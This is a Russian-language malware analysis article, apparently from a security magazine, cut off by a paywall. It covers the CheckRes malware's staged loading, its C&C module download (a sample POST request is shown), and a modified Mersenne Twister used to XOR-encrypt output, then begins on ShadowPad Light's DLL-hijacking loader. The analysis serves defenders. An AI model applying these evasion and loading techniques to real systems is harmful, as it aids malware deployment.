Содержание статьи
CheckRes
Загрузка
Для запуска основной нагрузки этот вредонос использует пять файлов, которые последовательно запускают друг друга. Как это работает, видно на рисунке ниже. Основная нагрузка запускается файлом cmd
, который появляется в системе в самом начале работы вредоноса. Но при этом сам файл cmd
запускается еще не существующим в системе скриптом на VBS. Такой комплексный подход к запуску основной нагрузки, вероятно, нужен для того, чтобы обойти поведенческий анализ.
Модули
В начале работы полезной нагрузки с удаленного сервера загружаются модули.
POST-запрос для получения модуля
POST /cgi-bin/pcupd.cgi/http/param_id.000 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
Accept-Language: de-at
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Host: <IP>
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: Keep-Alive
lab=3999/06171252&size=1&data=F
С сервера может быть выгружено до 16 модулей.
Модули приходят в теле HTTP-запроса. Они запакованы, закодированы Base64 и окружены тегом <
.
Модули представляют собой DLL-файлы, где заголовок‑заглушка MS-DOS заполнен нулями (видно на скриншоте ниже). При загрузке с C&C парсится таблица импортов и релокации. После этого для запуска модуля вызывается entrypoint DLL-файла, где происходит создание потока. Создание потока необходимо, если требуется продолжительная работа модуля, поскольку исполняемый файл работает в одном потоке.
Каждый модуль выводит информацию о своей работе в файл, который расположен по следующему пути:
%allusersprofile%\{F3F85CAE-3398-45f6-98C2-7DBFD3F3042C}
Файл вывода каждого модуля имеет свое расширение (например, .cap, .kst, .rdd). Содержимое файла зашифровано при помощи операции XOR с генератором псевдослучайных чисел «Вихрь Мерсенна».
Вихрь Мерсенна
Модули для шифрования выходных данных используют некриптографический генератор псевдослучайных чисел «Вихрь Мерсенна» с изначальным значением (seed) 11. Все параметры соответствуют стандартному алгоритму для генерации 32-битных значений. В каждом модуле есть несколько характерных особенностей, связанных с реализацией алгоритма. Во‑первых, это изначальная инициализация массива, которая повторяется два раза: при первом заполнении значение seed устанавливается равным 5489. Затем, никак не влияя на предыдущее заполнение, массив заполняется повторно со значением seed, равным 11.
Есть еще одна особенность: используется массив, равный двум порядкам рекуррентной последовательности, а именно 1248. Таким образом, изначально инициализируется первая половина массива, после чего согласно алгоритму на основе первой части генерируется вторая половина массива. При использовании всех 624 сгенерированных элементов второй половины первая затирается. А на основе второй половины по рекуррентному соотношению заполняется уже первая.
В итоге одна половина массива всегда содержит данные для генерации другой части. Можно было бы предположить, что это сделано, чтобы упростить реализацию: использование одного цикла для заполнения массива уже псевдослучайными числами вместо двух. Но при заполнении первой части все же приходится делить алгоритм заполнения массива на два цикла, как это реализовано здесь.
И последняя особенность касается «закалки» псевдослучайного числа. В изначальном алгоритме предполагается сначала битовый сдвиг на константу, а затем производится побитовое логическое И. Здесь же порядок изменен, что повлияло на константы, используемые для этой операции. Так, константа 0xefc60000
здесь представлена в виде значения 0xFFFFDF8C.
ShadowPad Light 2021
ShadowPad Light — облегченная версия оригинального ShadowPad без обфускации кода. Несмотря на то что этот семпл очень похож на оригинальный ShadowPad, у него есть свои особенности.
Загрузка
ShadowPad Light поставляется тремя файлами:
-
hpdigital.
— легитимный исполняемый файл, имеющий подпись компании HP;exe -
hpqhvsei.
— вредоносная библиотека, загружается посредством техники DLL hijacking;dll -
hpqlpvdt.
— шифрованная нагрузка, которая содержит распаковщик и полезную вредоносную нагрузку, также хранит в себе первоначальный необходимый для работы набор модулей.tmp
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»